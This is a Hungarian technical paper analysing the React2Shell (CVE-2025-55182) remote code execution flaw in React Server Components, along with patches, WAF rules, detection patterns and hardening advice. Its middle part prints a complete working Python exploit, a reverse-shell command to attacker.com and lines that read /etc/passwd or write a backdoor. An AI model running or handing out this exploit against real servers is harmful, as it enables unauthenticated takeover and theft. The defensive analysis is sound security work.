A CVE-2025-55182, közismert nevén React2Shell, egy kritikus biztonsági rés, amely 2025. december 3-án került nyilvánosságra. A sebezhetőség a React Server Components architektúrában található, és maximális 10.0 CVSS pontszámot kapott. A biztonsági rés lehetővé teszi a támadók számára távoli kódfuttatást (Remote Code Execution, RCE) egyetlen rosszindulatú HTTP kérés elküldésével. Jelen dolgozat részletesen elemzi a sebezhetőség technikai hátterét, a React Flight Protocol működését, a kihasználási mechanizmus pontos lépéseit, a valós Proof-of-Concept implementációt, valamint a védelem és elhárítás lehetőségeit. A dolgozat továbbá bemutatja a prototípus-alapú támadás technikáját, a JavaScript deszerializációs folyamat gyenge pontjait, és gyakorlati példákat nyújt a sebezhetőség kihasználására és detektálására.
A modern webfejlesztés egyik legmeghatározóbb keretrendszere a React, amelyet széles körben alkalmaznak felhasználói felületek készítéséhez. A Facebook (Meta) által fejlesztett és karbantartott könyvtár milliók által használt weboldalak alapját képezi. A React Server Components (RSC) technológia bevezetésével a React lehetővé tette, hogy a komponensek egy része szerver oldalon fusson, csökkentve ezzel a kliensre küldött JavaScript mennyiségét és jelentősen javítva a teljesítményt.
2025. december 3-án azonban kritikus biztonsági rés került nyilvánosságra a React Server Components-ben, amelyet CVE-2025-55182 azonosítóval láttak el. A sebezhetőséget Lachlan Davidson, a Carapace Security Innovation Lead-je fedezte fel és jelentette 2025. november 29-én a Meta Bug Bounty programjának. A biztonsági rést informálisan React2Shell néven is említik, utalva a távoli shell hozzáférés lehetőségére [?].
A sebezhetőség súlyosságát jól mutatja, hogy maximális 10.0 CVSS pontszámot kapott, ami a legmagasabb besorolás a Common Vulnerability Scoring System szerint [?]. A probléma széles körben elterjedt keretrendszereket érint, többek között a Next.js-t, React Routert, Waku-t és más RSC alapú keretrendszereket. A National Vulnerability Database (NVD) a következő CVSS 3.1 vektort rendelte hozzá:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Ez a következőket jelenti:
A React ökoszisztéma széles körű elterjedtsége miatt a sebezhetőség potenciálisan több tízezer alkalmazást érint világszerte. A Next.js, amely a legnépszerűbb React-alapú full-stack keretrendszer, különösen érintett, mivel alapértelmezésként használja a Server Components technológiát a 13-as verziótól kezdve [?].
A React Server Components egy viszonylag új architektúra, amelyet a React csapata vezetett be a kliensoldali renderelés korlátainak áthidalására. Az RSC megértéséhez azonban először át kell tekintenünk a React fejlődési útját és a különböző renderelési stratégiákat.
A modern React alkalmazások három fő renderelési stratégiát használhatnak [?], amelyek alapvetően különböznek abban, hogy hol fut a kód, és mennyi JavaScript-et kell letöltenie a böngészőnek.
1. módszer: Kliensoldali React (Client-Side Rendering - CSR) Ez a hagyományos megközelítés, amelyet a kezdők először tanulnak. A teljes alkalmazás a böngészőben fut le.
Működési folyamat:
Példakód:
1 2// Ez a kód teljes egészében a BÖNGÉSZŐBEN fut le // 3function ProfilePage() { 4 const [likes, setLikes] = useState(0); 5 6 return ( 7 <div> 8 <h1>Üdvözlünk, Sarah</h1> 9 <p>Sarah fejlesztő...</p> 10 <button onClick={() => setLikes(likes + 1)}> 11 {likes} Kedvelés 12 </button> 13 </div> 14 ); 15}
Mit tölt le a böngésző:
Problémák:
Előnyök:
2. módszer: Szerveroldali renderelés (Server-Side Rendering - SSR) Az SSR egy köztes megoldás, amely megpróbálja a CSR problémáit orvosolni anélkül, hogy radikálisan megváltoztatná a modellt.
Működési folyamat:
Példakód (Next.js keretrendszerrel):
1// Ez először a SZERVEREN fut le, majd a BÖNGÉSZŐBEN is 2export default function ProfilePage({ userData }) { 3 const [likes, setLikes] = useState(0); 4 5 return ( 6 <div> 7 <h1>Üdvözlünk, {userData.name}</h1> 8 <p>{userData.bio}</p> 9 <button onClick={() => setLikes(likes + 1)}> 10 {likes} Kedvelés 11 </button> 12 </div> 13 ); 14}
Mit tölt le a böngésző:
Mi javult:
Mi nem javult:
A zavaró paradoxon: Még akkor is, ha az "Üdvözlünk, Sarah" szöveg teljesen statikus és soha nem változik, a böngészőnek le kell töltenie a JavaScript kódot is hozzá. Ez az SSR egyik legnagyobb hatékonysági problémája.
3. módszer: React Server Components (RSC) - Az új paradigma Az RSC radikálisan új megközelítést vezet be: a szerver és a kliens közötti munka intelligens megosztását a komponens szinten.
Működési folyamat:
Példakód (Next.js 13+ vagy hasonló keretrendszer szükséges):
1// Ez a SZERVEREN fut és ott is marad 2export default async function ProfilePage() { 3 const userData = await getUser(); 4 5 return ( 6 <div> 7 {/* Ezek a szerveren maradnak - nincs JavaScript a böngészőnek */} 8 <h1>Üdvözlünk, {userData.name}</h1> 9 <p>{userData.bio}</p> 10 11 {/* Csak ez a komponens küld JavaScript-et a böngészőnek */} 12 <LikeButton /> 13 </div> 14 ); 15} 16 17// Külön fájl - Client Component-ként megjelölve 18'use client'; // Ez mondja a React-nek: "küld ezt a böngészőbe" 19function LikeButton() { 20 const [likes, setLikes] = useState(0); 21 22 return ( 23 <button onClick={() => setLikes(likes + 1)}> 24 {likes} Kedvelés 25 </button> 26 ); 27}
Mit tölt le a böngésző:
Mi javult jelentősen:
Az árnyoldal:
1. ábra. Összehasonlítás
Az RSC megközelítés több kulcsfontosságú előnyt kínál a hagyományos megközelítésekhez képest:
Közvetlen backend hozzáférés: A szerver komponensek közvetlenül hozzáférhetnek adatbázisokhoz, fájlrendszerhez, és más backend erőforrásokhoz anélkül, hogy API endpoint-okat kellene létrehozni:
1// Server Component - közvetlen DB hozzáférés 2export default async function UserList() { 3 // Ez közvetlenül fut a szerveren 4 const users = await db.users.findMany(); 5 6 return ( 7 <ul> 8 {users.map(user => <li key={user.id}>{user.name}</li>)} 9 </ul> 10 ); 11}
Streaming és Suspense integráció: Az RSC natívan támogatja a streaming server-side rendering-et, amely lehetővé teszi, hogy az oldal részei fokozatosan jelenjenek meg:
1export default function DashboardPage() { 2 return ( 3 <div> 4 <Header /> 5 <Suspense fallback={<Skeleton />}> 6 <SlowDataComponent /> 7 </Suspense> 8 <Footer /> 9 </div> 10 ); 11}
A React Server Functions [?] az RSC architektúra természetes kiterjesztése. Ezek a függvények egyfajta RPC-over-HTTP mechanizmusként működnek, lehetővé téve, hogy a kliens kód közvetlenül meghívjon szerveroldali függvényeket.
Server Action példa:
1// server-actions.js - ez a szerveren fut 2'use server'; 3 4export async function createUser(formData) { 5 const name = formData.get('name'); 6 const email = formData.get('email'); 7 8 // Közvetlen adatbázis művelet 9 const user = await db.users.create({ 10 data: { name, email } 11 }); 12 13 return { success: true, userId: user.id }; 14} 15 16// components/UserForm.jsx - ez a klienssen fut 17'use client'; 18import { createUser } from './server-actions'; 19 20export function UserForm() { 21 async function handleSubmit(formData) { 22 const result = await createUser(formData); 23 if (result.success) { 24 alert('User created!'); 25 } 26 } 27 28 return ( 29 <form action={handleSubmit}> 30 <input name="name" required /> 31 <input name="email" type="email" required /> 32 <button type="submit">Create User</button> 33 </form> 34 ); 35}
Ez a megközelítés különösen hasznos:
A kliens és a szerver közötti kommunikációt a React Flight Protocol [?] nevű szerializációs protokoll valósítja meg. Ez a protokoll lehetővé teszi összetett adatstruktúrák, React elemek, és még aszinkron streaming adatok továbbítását is.
A Flight Protocol chunk-alapú szerializációt használ. A kliens az adatokat "chunk"-okra (darabokra) bontja, amelyek egymásra hivatkozhatnak. Például egy egyszerű payload így nézhet ki:
1files = { 2 "0": (None, '["$1"]'), 3 "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), 4 "2": (None, '{"fruitName":"cherry"}'), 5}
Ez a payload a szerveren a következőképpen deserializálódik:
1{ object: 'fruit', name: 'cherry' }
A protokoll különleges előtagokat használ különböző adattípusok kódolására:
A hivatkozási lánc feloldása rekurzívan történik. Például a $1:propertyName szintaxis azt jelenti: "vedd a chunk 1-et, és oldd fel a propertyName tulajdonságát". Ez a mechanizmus lehetővé teszi mélyebb objektumhierarchiák navigálását, például $1:nested:deep:value.
Amikor a szerver megkapja a chunk-okat, a következő folyamaton mennek keresztül:
Ez a deszerializációs mechanizmus kritikus fontosságú a CVE-2025-55182 megértéséhez, mivel pontosan itt található a biztonsági rés. A protokoll komplexitása és a dinamikus property hozzáférés kombinációja vezetett a prototípus pollution sebezhetőséghez.
A CVE-2025-55182 egy unsafe deserialization (nem biztonságos objektum deszerializáció) sebezhetőség, amely a React Server Components Flight protokolljának dekódolási mechanizmusában található. A probléma a reviveModel függvényben rejlik a ReactFlightReplyServer.js fájlban [?].
A sebezhetőség lényege a következő kódrészletben található:
1function parseModelString(response, parentObject, key, value) { 2 if (value[0] === '$') { 3 switch (value[1]) { 4 case '$': { 5 return value.slice(1); 6 } 7 case '@': { 8 var id = parseInt(value.slice(2), 16); 9 return getChunk(response, id); 10 } 11 // ... további esetek 12 } 13 } 14 // Hivatkozás feloldás kulcs alapján 15 if (value.indexOf(':') !== -1) { 16 var reference = value.split(':'); 17 var chunk = getChunk(response, parseInt(reference[0].slice(1), 16)); 18 19 // Itt történik a biztonsági hiba! 20 for (var i = 1; i < reference.length; i++) { 21 if (chunk != null) { 22 chunk = chunk[reference[i]]; // Nincs hasOwnProperty ellenőrzés! 23 } 24 } 25 return chunk; 26 } 27}
A kritikus probléma az, hogy amikor a kód végighalad a hivatkozási láncon (pl. $1:prop1:prop2), nem ellenőrzi, hogy a kért kulcs valóban az objektum saját tulajdonsága-e. Ez lehetővé teszi a prototípuslánc elérését.
A JavaScript nyelvben minden objektum az Object.prototype-ból örökli a metódusokat. A prototípuslánc így néz ki:
1var obj = {x: 1}; 2obj.__proto__ === Object.prototype // true 3obj.__proto__.constructor === Object // true 4obj.__proto__.constructor.constructor === Function // true
Ez a lánc lehetővé teszi, hogy a következő payload-dal elérjük a Function konstruktort:
1files = { 2 "0": (None, '["$1:__proto__:constructor:constructor"]'), 3 "1": (None, '{"x":1}'), 4}
Ez a következőképpen deszerializálódik a szerveren:
1[Function: Function]
Az eredeti sebezhető kódban volt egy hasOwnProperty ellenőrzés, de ez megkerülhető volt. A Next.js action-handler.ts fájljában a következő történt:
1// action-handler.ts:888 (pre-patch) 2boundActionArguments = await decodeReplyFromBusboy( 3 busboy, 4 serverModuleMap, 5 { temporaryReferences } 6)
A probléma az volt, hogy a hasOwnProperty metódus maga is felülírható volt egy támadó által kontrollált objektumban:
1var malicious = { 2 hasOwnProperty: function() { return true; } 3};
Így a biztonsági ellenőrzés teljesen megkerülhető volt.
A JavaScript await kulcsszó olyan objektumokat keres, amelyeknek van then() metódusuk (úgynevezett "thenable" objektumok). Amikor a Next.js await-eli a deszerializált eredményt, automatikusan meghívja a then() metódust, ha az létezik.
Egy támadó a következő payload-dal beállíthatja a then tulajdonságot a Function konstruktorra:
1files = { 2 "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'), 3 "1": (None, '{"x":1}'), 4}
Ez a következő hibához vezet:
1SyntaxError: Unexpected token 'function' 2 at Object.Function [as then] (<anonymous>) { 3 digest: '1259793845' 4 }
A hiba azért néz ki így, mert a V8 JavaScript motor meghívja az await-elt függvényt a belső resolve és reject függvényekkel, amelyek toString()-esítve így néznek ki:
1function () { [native code] }
A kihasználás egyik kulcseleme maple3142 [?] ötlete volt: amikor a getChunk függvény lekéri a chunk-ot ID 0-val mint gyökér hivatkozást, ugyanez a chunk feloldódhat egy crafted "fake chunk"-ra.
A $@ szintaxis használatával hivatkozhatunk a chunk nyers reprezentációjára:
1case "@": 2 return ( 3 (obj = parseInt(value.slice(2), 16)), getChunk(response, obj) 4 );
Ez lehetővé teszi a következő payload létrehozását:
1files = { 2 "0": (None, '{"then": "$1:__proto__:then"}'), 3 "1": (None, '"$@0"'), 4}
Itt a chunk 0 felülírja a saját .then() metódusát a saját nyers chunk reprezentációjának .then() metódusával. Másképpen megfogalmazva: felülírjuk a saját .then()-ünket a Chunk.prototype.then-nel, amely létezik, mivel a Chunk-ok thenable objektumok.
A Chunk.prototype.then implementációja így néz ki:
1Chunk.prototype.then = function (resolve, reject) { 2 switch (this.status) { 3 case "resolved_model": 4 initializeModelChunk(this); 5 // ...további esetek 6 } 7 // ... 8};
Ha a fake chunk-unk status mezője "resolved_model", akkor bejutunk az initializeModelChunk függvénybe:
1files = { 2 "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'), 3 "1": (None, '"$@0"'), 4}
Az initializeModelChunk függvényben a .value mező JSON-ként feldolgozásra kerül, majd a hivatkozások feloldásra kerülnek a visszaadott objektumon:
1function initializeModelChunk(chunk) { 2 // ... 3 var rawModel = JSON.parse(resolvedModel), 4 value = reviveModel(chunk._response, { "": rawModel }, 5 "", rawModel, rootReference); 6 // ... 7}
A kulcs az, hogy itt már hozzáférünk a chunk._response mezőhöz, amely teljesen a támadó által kontrollált. Ez egy második kiértékelési fázis biztosít több értékkel, mivel a "külső" kontextus már feloldásra került.
A Flight Protocol blob kezelésében van egy hívási segédobjektum (call gadget) a $B előtag kezelésénél:
1case "B": 2 return ( 3 (obj = parseInt(value.slice(2), 16)), 4 response._formData.get(response._prefix + obj) 5 );
A speciális _response mező használatával kontrollálhatjuk a crafted chunk response tulajdonságát. Így hozhatunk létre egy objektumot fake ._formData és ._prefix tulajdonságokkal.
A teljes exploit payload így néz ki:
1crafted_chunk = { 2 "then": "$1:__proto__:then", 3 "status": "resolved_model", 4 "reason": -1, 5 "value": '{"then": "$B0"}', 6 "_response": { 7 "_prefix": f"return foo; // ", 8 "_formData": { 9 "get": "$1:constructor:constructor", 10 }, 11 }, 12}
A .reason mezőt -1-re kell állítani, hogy elkerüljük a hibát a toString hívásnál:
1var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), 2 resolvedModel = chunk.value;
A ._formData-t a Function konstruktorra mutatva, és a ._prefix-et a kódunkra állítva, invokációs gadget-et kapunk:
1response._formData.get(response._prefix + "0") 2// ami így alakul: 3Function("return foo; // 0")
A crafted függvény visszaadódik a parseModelString-ből mint a crafted chunk .then() metódusa, amely szintén await-elve van. Mivel thenable-t adunk vissza, a crafted függvényünk meghívódik, ami a szükséges hívási segédobjektum.
A teljes, működő exploit [?], amely távoli kódfuttatást valósít meg:
1# /// script 2# dependencies = ["requests"] 3# /// 4import requests 5import sys 6import json 7 8BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000" 9EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id" 10 11crafted_chunk = { 12 "then": "$1:__proto__:then", 13 "status": "resolved_model", 14 "reason": -1, 15 "value": '{"then": "$B0"}', 16 "_response": { 17 "_prefix": f"var res = process.mainModule.require('child_process')" 18 f".execSync('{EXECUTABLE}',{{'timeout':5000}})" 19 f".toString().trim(); " 20 f"throw Object.assign(new Error('NEXT_REDIRECT'), " 21 f"{{digest:`${{res}}`}});", 22 "_formData": { 23 "get": "$1:constructor:constructor", 24 }, 25 }, 26} 27 28files = { 29 "0": (None, json.dumps(crafted_chunk)), 30 "1": (None, '"$@0"'), 31} 32 33headers = {"Next-Action": "x"} 34res = requests.post(BASE_URL, files=files, headers=headers, timeout=10) 35print(res.status_code) 36print(res.text)
Az exploit egy elegáns trükköt használ a parancs kimenetének kinyerésére. A Node.js child_process.execSync() függvényt használja a parancs végrehajtására, majd a kimenetet egy Error objektum digest mezőjébe csomagolja:
1var res = process.mainModule.require('child_process') 2 .execSync('id', {'timeout': 5000}) 3 .toString().trim(); 4throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`});
Ez azért működik, mert a Next.js hibaüzenetekben visszaadja a digest mezőt, így a támadó láthatja a parancs kimenetét a HTTP válaszban.
A sebezhetőség különösen veszélyes, mert az egész deszerializációs folyamat a kért action validálása előtt történik. A Next.js getActionModIdOrError függvénye csak azután fut le, hogy a decodeReplyFromBusboy már lefutott és await-elve lett.
Emiatt egy egyszerű Next-Action: x header elegendő a sebezhetőség trigger-eléséhez, még akkor is, ha a "x" action nem is létezik a rendszerben. Ez teljesen megkerüli az autentikációs és autorizációs ellenőrzéseket.
Ha nincs szükség a parancs kimenetére, akkor használható az egyszerűbb payload:
1"_prefix": f"process.mainModule.require('child_process')" 2 f".execSync('{EXECUTABLE}');"
Reverse shell létrehozásához:
1EXECUTABLE = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
Fájlok olvasása vagy írása:
1# Fájl olvasás 2EXECUTABLE = "cat /etc/passwd" 3 4# Fájl írás 5EXECUTABLE = "echo 'malicious' > /tmp/backdoor.sh"
A React következő csomagjai sérülékenyek a 19.0.0, 19.1.0, 19.1.1 és 19.2.0 verziókban [?]:
A javított verziók:
A Next.js széles verziótartományban érintett [?]:
Fontos megjegyezni, hogy a Pages Router használata esetén az alkalmazások nem sérülékenyek, mivel az nem használja a Server Components architektúrát.
Bármely keretrendszer, amely az RSC implementációt használja, potenciálisan sebezhető:
A sebezhetőség nyilvánosságra hozatalának időrendje [?]:
A Microsoft Defender for Cloud kutatói több fenyegetési csoportot azonosítottak, amelyek aktívan kihasználják a CVE-2025-55182-t:
Kínai államilag szponzorált csoport, amely:
Másik kínai APT csoport:
Számos opportunista támadó XMRig kriptobányászokat telepített:
Az Amazon Threat Intelligence csoportja honeypot infrastruktúrát (MadPot) üzemeltetett a támadások monitorozására:
A CVE-2025-55182 nyilvános közzététele után rendkívül gyorsan megsokszorozódtak a Proof-of-Concept implementációk. A Trend Micro kutatói közel 145 különböző GitHub repository-t azonosítottak, amelyek állítólag működő exploit-okat tartalmaznak.
A PoC-k jelentős része hibás vagy félrevezető volt:
Explicit veszélyes modul regisztrációval: Számos PoC explicit módon regisztrálja a veszélyes modulokat (fs, child_process, vm) a szerver manifestben:
1// HIBÁS PÉLDA - így valódi alkalmazások sosem működnek 2export const serverManifest = { 3 'node:fs': { id: 'node:fs', chunks: [], name: 'fs' }, 4 'node:child_process': { id: 'node:child_process', chunks: [], name: 'child_process' }, 5};
Ez teljesen félrevezető, mivel valódi Next.js alkalmazások sosem regisztrálnak ilyen modulokat a client számára elérhető manifestben.
Patch után is "sebezhető" kód: Néhány PoC olyan teszt-alkalmazást tartalmaz, amely még a javított React verziók után is sebezhető marad, mert:
A hibás PoC-k létezése jelentős biztonsági kockázatot jelent:
Az eredeti, működő PoC a következő tulajdonságokkal rendelkezik:
A leghatékonyabb és legmegbízhatóbb védelem a vendor által biztosított biztonsági frissítések azonnali alkalmazása.
1# npm használata 2npm install react@19.0.1 react-dom@19.0.1 3 4# vagy yarn használata 5yarn upgrade react@19.0.1 react-dom@19.0.1 6 7# vagy pnpm használata 8pnpm update react@19.0.1 react-dom@19.0.1
1# Ellenőrizze a jelenlegi verziót 2npx next --version 3 4# Frissítés a megfelelő javított verzióra 5npm install next@15.0.5 # ha 15.0.x-et használ 6npm install next@16.0.7 # ha 16.0.x-et használ 7 8# Függőségek frissítése és lock fájl újragenerálása 9npm install
Ellenőrizze, hogy a patch sikeresen alkalmazásra került:
1# Package.json ellenőrzése 2cat package.json | grep -E "react|next" 3 4# Lock fájl ellenőrzése 5cat package-lock.json | grep -A 3 "react-server-dom" 6 7# Futásidejű verzió ellenőrzés 8node -e "console.log(require('react').version)"
Átmeneti védelmet biztosítanak a WAF szabályok, de ezek nem helyettesítik a patch-elést.
Az AWS WAF Managed Rules automatikusan védettséget biztosít:
1# AWS CLI használata a managed rule set frissítésére 2aws wafv2 update-web-acl \ 3 --scope REGIONAL \ 4 --id <your-web-acl-id> \ 5 --name <your-web-acl-name> \ 6 --default-action Allow={} \ 7 --rules file://rules.json 8 9# rules.json tartalma 10{ 11 "Name": "AWSManagedRulesKnownBadInputsRuleSet", 12 "Priority": 1, 13 "Statement": { 14 "ManagedRuleGroupStatement": { 15 "VendorName": "AWS", 16 "Name": "AWSManagedRulesKnownBadInputsRuleSet", 17 "Version": "1.24" 18 } 19 }, 20 "OverrideAction": { "None": {} }, 21 "VisibilityConfig": { 22 "SampledRequestsEnabled": true, 23 "CloudWatchMetricsEnabled": true, 24 "MetricName": "KnownBadInputs" 25 } 26}
1gcloud compute security-policies rules create 1000 \ 2 --security-policy react2shell-protection \ 3 --expression "(has(request.headers['next-action']) || 4 has(request.headers['rsc-action-id'])) && 5 evaluatePreconfiguredWaf('cve-canary', 6 {'sensitivity': 0, 'opt_in_rule_ids': 7 ['google-mrs-v202512-id000001-rce']})" \ 8 --action=deny-403 \ 9 --description="Block CVE-2025-55182 exploitation attempts"
Cloudflare Managed Rules automatikusan védelmet biztosítanak, de egyedi szabályok is létrehozhatók:
1(http.request.headers["next-action"][*] eq "x" and 2 http.request.body.raw contains "$@0") or 3(http.request.headers["rsc-action-id"][*] ne "" and 4 http.request.body.raw contains "__proto__")
1# Egyedi WAF szabály létrehozása 2az network application-gateway waf-policy custom-rule create \ 3 --policy-name ReactProtection \ 4 --resource-group MyResourceGroup \ 5 --name BlockReact2Shell \ 6 --priority 100 \ 7 --rule-type MatchRule \ 8 --action Block \ 9 --match-conditions \ 10 "MatchVariables=[{VariableName:RequestHeaders,Selector:Next-Action}] 11 Operator=Contains NegateCondition=false MatchValues=['x']" \ 12 "MatchVariables=[{VariableName:RequestBody}] Operator=Contains 13 NegateCondition=false MatchValues=['$@0','__proto__']"
A react2shell-guard [?] npm csomag futásidejű védelmet biztosít:
1npm install react2shell-guard
1// next.config.js 2const { withReact2ShellGuard } = require('react2shell-guard'); 3 4module.exports = withReact2ShellGuard({ 5 // Next.js config 6 reactStrictMode: true, 7 // ... 8});
Ez a csomag:
Preventív védelem Object.prototype védelmével:
1// server.js vagy app startup 2Object.freeze(Object.prototype); 3Object.freeze(Function.prototype); 4Object.freeze(Array.prototype);
Figyelem: Ez breaking change-eket okozhat egyes library-kben.
Korlátozzuk a Node.js folyamat kimenő hálózati kapcsolatait:
1# iptables szabályok 2iptables -A OUTPUT -m owner --uid-owner nextjs -j DROP 3iptables -I OUTPUT -m owner --uid-owner nextjs \ 4 -d 10.0.0.0/8 -j ACCEPT # Csak internal hálózat
1apiVersion: v1 2kind: NetworkPolicy 3metadata: 4 name: nextjs-egress-restriction 5spec: 6 podSelector: 7 matchLabels: 8 app: nextjs 9 policyTypes: 10 - Egress 11 egress: 12 - to: 13 - podSelector: 14 matchLabels: 15 app: database 16 ports: 17 - protocol: TCP 18 port: 5432 19 # Blokk minden más kimenő forgalmat
1FROM node:20-alpine 2 3# Non-root user 4RUN addgroup -g 1001 -S nodejs && \ 5 adduser -S nextjs -u 1001 6 7USER nextjs 8 9# Capability drop a runtime-ban 10# docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...
1apiVersion: v1 2kind: Pod 3metadata: 4 name: nextjs-app 5spec: 6 securityContext: 7 runAsNonRoot: true 8 runAsUser: 1001 9 fsGroup: 1001 10 seccompProfile: 11 type: RuntimeDefault 12 containers: 13 - name: nextjs 14 image: my-nextjs-app:latest 15 securityContext: 16 allowPrivilegeEscalation: false 17 readOnlyRootFilesystem: true 18 capabilities: 19 drop: 20 - ALL 21 add: 22 - NET_BIND_SERVICE
Implementáljon komprehenszív logolást:
1// middleware.js 2export function middleware(request) { 3 // Log minden Server Action hívást 4 if (request.headers.get('next-action') || 5 request.headers.get('rsc-action-id')) { 6 console.log({ 7 timestamp: new Date().toISOString(), 8 type: 'SERVER_ACTION', 9 url: request.url, 10 headers: Object.fromEntries(request.headers), 11 ip: request.ip 12 }); 13 } 14}
Figyelje a következő gyanús mintákat:
1// Winston logging Splunk-hoz 2const winston = require('winston'); 3const SplunkStreamEvent = require('winston-splunk-httplogger'); 4 5const splunkSettings = { 6 token: process.env.SPLUNK_TOKEN, 7 url: process.env.SPLUNK_URL 8}; 9 10const logger = winston.createLogger({ 11 transports: [ 12 new SplunkStreamEvent({ splunk: splunkSettings }) 13 ] 14}); 15 16// Suspicious pattern detection 17if (requestBody.includes('__proto__')) { 18 logger.error('CVE-2025-55182 exploitation attempt detected', { 19 severity: 'CRITICAL', 20 source_ip: req.ip, 21 user_agent: req.headers['user-agent'], 22 payload: requestBody.substring(0, 500) 23 }); 24}
Ha kihasználást észlel:
Azonnali izoláció:
Forensic data collection:
Kompromittálás mértékének felmérése:
Patch és újratelepítés:
Post-incident:
A Facebook React csapata a következő commit-tal [?] javította a sebezhetőséget:
1// ReactFlightReplyServer.js - ELŐTTE 2function parseModelString(response, parentObject, key, value) { 3 // ... 4 var parts = value.split(':'); 5 var chunk = getChunk(response, parseInt(parts[0].slice(1), 16)); 6 7 for (var i = 1; i < parts.length; i++) { 8 chunk = chunk[parts[i]]; // BIZTONSÁGI RÉS! 9 } 10 return chunk; 11} 12 13// ReactFlightReplyServer.js - UTÁNA 14function parseModelString(response, parentObject, key, value) { 15 // ... 16 var parts = value.split(':'); 17 var chunk = getChunk(response, parseInt(parts[0].slice(1), 16)); 18 19 for (var i = 1; i < parts.length; i++) { 20 // JAVÍTÁS: hasOwnProperty ellenőrzés Object.prototype.hasOwnProperty 21 // direkt hívásával, nem az objektum saját metódusával 22 if (Object.prototype.hasOwnProperty.call(chunk, parts[i])) { 23 chunk = chunk[parts[i]]; 24 } else { 25 // Ha nincs saját property, reject 26 throw new Error('Invalid reference path'); 27 } 28 } 29 return chunk; 30}
A kulcsfontosságú változás:
A Vercel Next.js csapata további biztonsági rétegeket is bevezetett:
1// action-handler.ts 2async function handleServerAction(req, res) { 3 const actionId = req.headers['next-action']; 4 5 // ÚJ: Korai validáció a deszerializáció ELŐTT 6 if (!isValidActionId(actionId)) { 7 return res.status(400).json({ error: 'Invalid action ID' }); 8 } 9 10 // Most deszerialize-olunk 11 const args = await decodeReply(req); 12 13 // ... 14}
1const MAX_CHUNK_SIZE = 1024 * 1024; // 1MB 2const MAX_REFERENCE_DEPTH = 10; 3 4function parseChunk(chunk, depth = 0) { 5 if (depth > MAX_REFERENCE_DEPTH) { 6 throw new Error('Reference depth limit exceeded'); 7 } 8 if (chunk.length > MAX_CHUNK_SIZE) { 9 throw new Error('Chunk size limit exceeded'); 10 } 11 // ... 12}
A teljes javítás több réteget tartalmaz:
A különböző biztonsági kutatók a következő expozíciós számokat publikálták:
A kínai APT csoportok 3.5 órán belül operacionalizálták a nyilvános PoC-kat. Ez azt jelenti:
Egyetlen védelmi réteg nem elég:
A CVE-2025-55182 rávilágít:
A React csapata a következő fejlesztéseken dolgozik:
Szigorúbb TypeScript használat a runtime biztonság növelésére:
1// Jövőbeli lehetséges API 2type SafeServerAction<TArgs, TReturn> = { 3 readonly __actionId: unique symbol; 4 (args: TArgs): Promise<TReturn>; 5}; 6 7// Csak type-safe action-ök hívhatók 8function callServerAction<T>( 9 action: SafeServerAction<unknown, T> 10): Promise<T> { 11 // Type-guaranteed biztonságos hívás 12}
A CVE-2025-55182 típusú sebezhetőségek várhatóan megjelennek a következő OWASP Top 10-ben:
Lehetséges trend: Framework biztonsági certifikáció:
RASP megoldások Next.js-hez:
1// Példa: Jövőbeli RASP middleware 2import { NextRASP } from '@security/next-rasp'; 3 4export const config = { 5 runtime: 'edge', 6 rasp: { 7 enabled: true, 8 policies: { 9 prototypeAccess: 'block', 10 suspiciousDeserialization: 'alert', 11 unusualReferenceChains: 'monitor' 12 } 13 } 14};
A CVE-2025-55182 (React2Shell) egy kritikus biztonsági rés, amely alapvetően rávilágít a modern webes keretrendszerek komplexitásából eredő kockázatokra. A maximális 10.0 CVSS pontszám, az autentikálatlan távoli kódfuttatás lehetősége és a széles körű elterjedtség miatt ez a sebezhetőség az egyik legveszélyesebb az elmúlt évek során.
A technikai elemzés bemutatta, hogy a probléma gyökere a JavaScript prototípus-alapú öröklési mechanizmusának és a React Flight Protocol deszerializációs folyamatának nem megfelelő biztonsági ellenőrzéseiben rejlik. A kihasználás négy fázisán keresztül egy támadó képes tetszőleges Node.js kódot végrehajtani a szerver kontextusában, teljes hozzáféréssel a rendszer erőforrásaihoz.
A CVE-2025-55182 eset egyúttal emlékeztető arra is, hogy a nyílt forráskódú szoftverek biztonsága közös felelősség. A gyors felfedezés, a felelős közzététel (responsible disclosure) és a koordinált patch-elés lehetővé tette, hogy a kár viszonylag korlátozott maradjon. A Meta, Vercel és az RSC ökoszisztéma többi tagjának gyors és hatékony reagálása példamutató volt.
Ugyanakkor az esemény tanulságait minden szervezetnek le kell vonnia. A modern web architektúrák komplexitása folyamatosan növekszik, és ezzel együtt a potenciális támadási felület is. A deszerializációs sebezhetőségek, különösen a dinamikus nyelvek és complex frameworkök kontextusában, továbbra is jelentős kockázatot fognak jelenteni.
A hosszú távú megoldás nem egyetlen patch telepítése, hanem egy security-first kultúra kialakítása a fejlesztési folyamatokban. Ez magában foglalja a threat modeling-et, a secure coding practices-eket, az automated testing-et, és a folyamatos security awareness training-et.
A React2Shell eset demonstrálja, hogy még a legjobban karbantartott és széles körben használt keretrendszerek is tartalmazhatnak kritikus biztonsági réseket. A web development közösségnek folyamatosan fejlesztenie kell a security posture-jét, tanulva az ilyen incidensekből és proaktívan építve be a biztonsági szempontokat minden development fázisba.
A jövő kihívásai között szerepel a modern architektúrák (mint a Server Components, Edge Runtime, Micro-frontends) biztonsági implikációinak megértése és megfelelő kezelése. Csak egy kollaboratív, security-focused megközelítéssel garantálhatjuk, hogy a web platform továbbra is biztonságos és megbízható maradjon mind a fejlesztők, mind a végfelhasználók számára.